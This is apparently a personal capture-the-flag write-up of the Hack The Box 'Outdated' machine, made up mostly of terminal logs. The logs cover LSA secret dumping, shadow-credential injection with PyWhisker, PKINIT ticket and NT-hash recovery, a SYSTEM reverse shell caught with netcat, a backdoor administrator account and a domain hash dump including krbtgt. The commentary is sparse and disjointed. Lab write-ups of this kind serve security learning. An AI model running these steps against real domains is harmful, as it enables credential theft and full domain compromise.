[*] Dumping cached domain logon information (domain/username:hash)
OUTDATED.HTB/btables:$DCC2$10240#btables#91e9188a93c8b59479cbe490e22fc790: (2024-12-19 00:19:59)
OUTDATED.HTB/Administrator:$DCC2$10240#Administrator#fcf452603a2e8ee8f65158c73469cf7e: (2023-12-13 04:07:43)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:327760ac67714e381d4bf7147ef7a504ec2ab55adb2a268698410d79db5c8d230080bf948109861babc31959c8a109ab1a257a9b54fd3a2c4954ed484d543f4599734173dce4655686a5f28df1e0d0bd36f6d46358f533cbbe414c9e29fe70445e3e3e4064e5e6e2c940ca33694432efc3335533b84b287838a1990a0bf1a53009d9d0274559ecd431f97ea84eda81ebc0da08b96f999072731bf9dab8f74814823d1514c715a7f526b3b108f52ed425dc0635445e647b20c1666265e3a4d64eafee9babafcea396948b8663b7335223e6ee7460f20ba1cf9b8761c7dd3b0b9dc5135eaead15d274aa9409b2762c81d0
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:aa47130733735055becc2524a4c1ac3f
[*] DefaultPassword 
(Unknown User):5myBPLPDKT3Bfq
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x76a645f1d5e5879a07eb92ccc767cbe8bf5d8219
dpapi_userkey:0x8225e352fcf823af35757bacff4cdfe98c73db8f
[*] NL$KM 
 0000   08 4C 51 0B 9B 09 ED C8  4D 12 A0 47 40 5B 64 2D   .LQ.....M..G@[d-
 0010   32 3C AC B5 E2 42 0E 41  76 99 DE D7 20 E6 15 B9   2<...B.Av... ...
 0020   79 57 B8 29 D2 5D 44 91  3F D5 84 76 BE 00 D2 00   yW.).]D.?..v....
 0030   16 8B 85 3D 3F 17 27 1F  16 4F C0 37 64 6E 44 E5   ...=?.'..O.7dnD.
NL$KM:084c510b9b09edc84d12a047405b642d323cacb5e2420e417699ded720e615b97957b829d25d44913fd58476be00d200168b853d3f17271f164fc037646e44e5
[*] Cleaning up... 

This also includes a plaintext “DefaultPassword” for an unknown user of “5myBPLPDKT3Bfq”. That suggests it’s probably a domain user, and not a local user.

crackmapexec shows these creds are good for btables:

┌──(puck㉿kali)-[~/htb/outdated]
└─$ nxc smb 10.10.11.175 -u btables -p 5myBPLPDKT3Bfq              
SMB         10.10.11.175    445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:outdated.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.175    445    DC               [+] outdated.htb\btables:5myBPLPDKT3Bfq
                                                                                           

Remote Shadow Credentials

PyWhisker

With creds, I can try to remotely run PyWhisker. It fails:

┌──(puck㉿kali)-[~/htb/outdated]
└─$ python3 /home/puck/tools/pywhisker/pywhisker/pywhisker.py --action list -d outdated.htb -u btables -p 5myBPLPDKT3Bfq --dc-ip 10.10.11.175 -t 10.10.11.175 
[!] automatic bind not successful - strongerAuthRequired

This shows that the LDAP bind failed, TLS is required. Adding --use-ldaps fixes it:

┌──(puck㉿kali)-[~/htb/outdated]
└─$ python3 /home/puck/tools/pywhisker/pywhisker/pywhisker.py  --action list -d outdated.htb -u btables -p 5myBPLPDKT3Bfq --dc-ip 10.10.11.175 -t sflowers --use-ldaps     
[*] Searching for the target account
[*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb
[*] Listing devices for sflowers
[*] DeviceID: 6a790b88-4b86-4573-a370-9adc1b30ab23 | Creation Time (UTC): 
2024-12-19 01:28:49.149654

sflowers has no shadow credentials. I’ll add one:

                                                                                  
┌──(puck㉿kali)-[~/htb/certified/pywhisker/pywhisker]
└─$ python3 -m venv venv    
                                                                                  
┌──(puck㉿kali)-[~/htb/certified/pywhisker/pywhisker]
└─$ source venv/bin/activate

                                                                                  
┌──(venv)─(puck㉿kali)-[~/htb/certified/pywhisker/pywhisker]
└─$ python3 pywhisker.py  --action add -d outdated.htb -u btables -p 5myBPLPDKT3Bfq --dc-ip 10.10.11.175 -t sflowers --use-ldaps
[*] Searching for the target account
[*] Target user found: CN=Susan Flowers,CN=Users,DC=outdated,DC=htb
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: d9508605-50e3-579a-86a9-9f799fd224fc
[*] Updating the msDS-KeyCredentialLink attribute of sflowers
[+] Updated the msDS-KeyCredentialLink attribute of the target object
[+] Saved PFX (#PKCS12) certificate & key at path: poppzVLm.pfx
[*] Must be used with password: B26meSdI8s651EIsrHht
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools

PKINITtools

The PyWhisker output suggests using PKINITtools to get a TGT. I’ll do that:

┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ cp ~/htb/certified/pywhisker/pywhisker/poppzVLm.pfx .    

.

┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ deactivate
                                                                                           
┌──(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ python3 gettgtpkinit.py -cert-pfx poppzVLm.pfx -pfx-pass B26meSdI8s651EIsrHht outdated.htb/sflowers sflowers.ccache -dc-ip 10.10.11.175
2024-12-18 19:53:19,866 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
--snip--
Error Name: KRB_AP_ERR_SKEW Detail: "The clock skew is too great" 
                                                                                           
┌──(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ sudo ntpdate -u 10.10.11.175
[sudo] password for puck: 
2024-12-19 03:54:36.901037 (+0100) +28800.317826 +/- 0.008435 10.10.11.175 s1 no-leap
CLOCK: time stepped by 28800.317826
                                                                                           
┌──(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ python3 gettgtpkinit.py -cert-pfx poppzVLm.pfx -pfx-pass B26meSdI8s651EIsrHht outdated.htb/sflowers sflowers.ccache -dc-ip 10.10.11.175
2024-12-19 03:54:46,718 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-12-19 03:54:46,734 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2024-12-19 03:54:56,388 minikerberos INFO     AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-12-19 03:54:56,389 minikerberos INFO     87568311dc7bb727f2c3af86c79d1e1729b9fef7e8d52eb55bb79b4cc18369b1
INFO:minikerberos:87568311dc7bb727f2c3af86c79d1e1729b9fef7e8d52eb55bb79b4cc18369b1
2024-12-19 03:54:56,401 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file
                                                                                           
┌──(puck㉿kali)-[~/htb/certified/PKINITtools]

.

┌──(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ ls
20241213232833_Certipy.json  administrator.pfx  gettgtpkinit.py  poppzVLm.pfx
20241213232833_Certipy.txt   BO6BBQOb.pfx       LICENSE          README.md
20241213232833_Certipy.zip   getnthash.py       man_svc.ccache   requirements.txt
administrator.ccache         gets4uticket.py    ntlmrelayx       sflowers.ccache
                                                                                           
┌──(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ export KRB5CCNAME=sflowers.ccache 

                                                                                           
┌──(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ klist
Ticket cache: FILE:sflowers.ccache
Default principal: sflowers@OUTDATED.HTB

Valid starting       Expires              Service principal
12/19/2024 03:54:56  12/19/2024 13:54:56  krbtgt/OUTDATED.HTB@OUTDATED.HTB
                                                                                           
┌──(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ python3 getnthash.py outdated.htb/sflowers -key 87568311dc7bb727f2c3af86c79d1e1729b9fef7e8d52eb55bb79b4cc18369b1
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
1fcdb1f6015dcb318cc77bb2bda14db5

 

For the last step, I’ll need to run the getnthash.py script. I had some issues on my system getting the Python dependencies to run, so I just created a virtual environment (python -m venv venv, and then source venv/bin/activate) and installed the requirements again in there (pip install -r requirements.txt). Then it worked:

With that hash, I can get an Evil-WinRM session

.

Get the hashes

add user

$ nc -nlvp 445 
listening on [any] 445 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.175] 49307
Microsoft Windows [Version 10.0.17763.1432]
(c) 2018 Microsoft Corporation. All rights reserved.


C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>net user /add puck Start123!
net user /add puck Start123!
The command completed successfully.

C:\Windows\system32>net localgroup administrators /add puck
net localgroup administrators /add puck
The command completed successfully.


then secretsdump

┌──(puck㉿kali)-[~/htb/outdated]
└─$ impacket-secretsdump puck@outdated.htb -dc-ip 10.10.11.175  
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xc461277899780d4dcc67e71dd6779759
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8aa878df2fd7dfbe60da36207785c9dc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 

Administrator:500:aad3b435b51404eeaad3b435b51404ee:716f1ce2e2cf38ee1210cce35eb78cb6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a300e4031093085c7af7ac61a79e6d00:::
outdated.htb\btables:1106:aad3b435b51404eeaad3b435b51404ee:781444163f086fdf8de13de9110ed6e7:::
outdated.htb\sflowers:1108:aad3b435b51404eeaad3b435b51404ee:1fcdb1f6015dcb318cc77bb2bda14db5:::
puck:20603:aad3b435b51404eeaad3b435b51404ee:6dfcb20c87d04f9a4f9605f2413395d4:::
DC$:1002:aad3b435b51404eeaad3b435b51404ee:9a4eb8a8bda039e7f444dcfada77ff74:::
CLIENT$:1105:aad3b435b51404eeaad3b435b51404ee:d9dad9a6e84c2ca69db5467936845b33:::
u

That was Fun!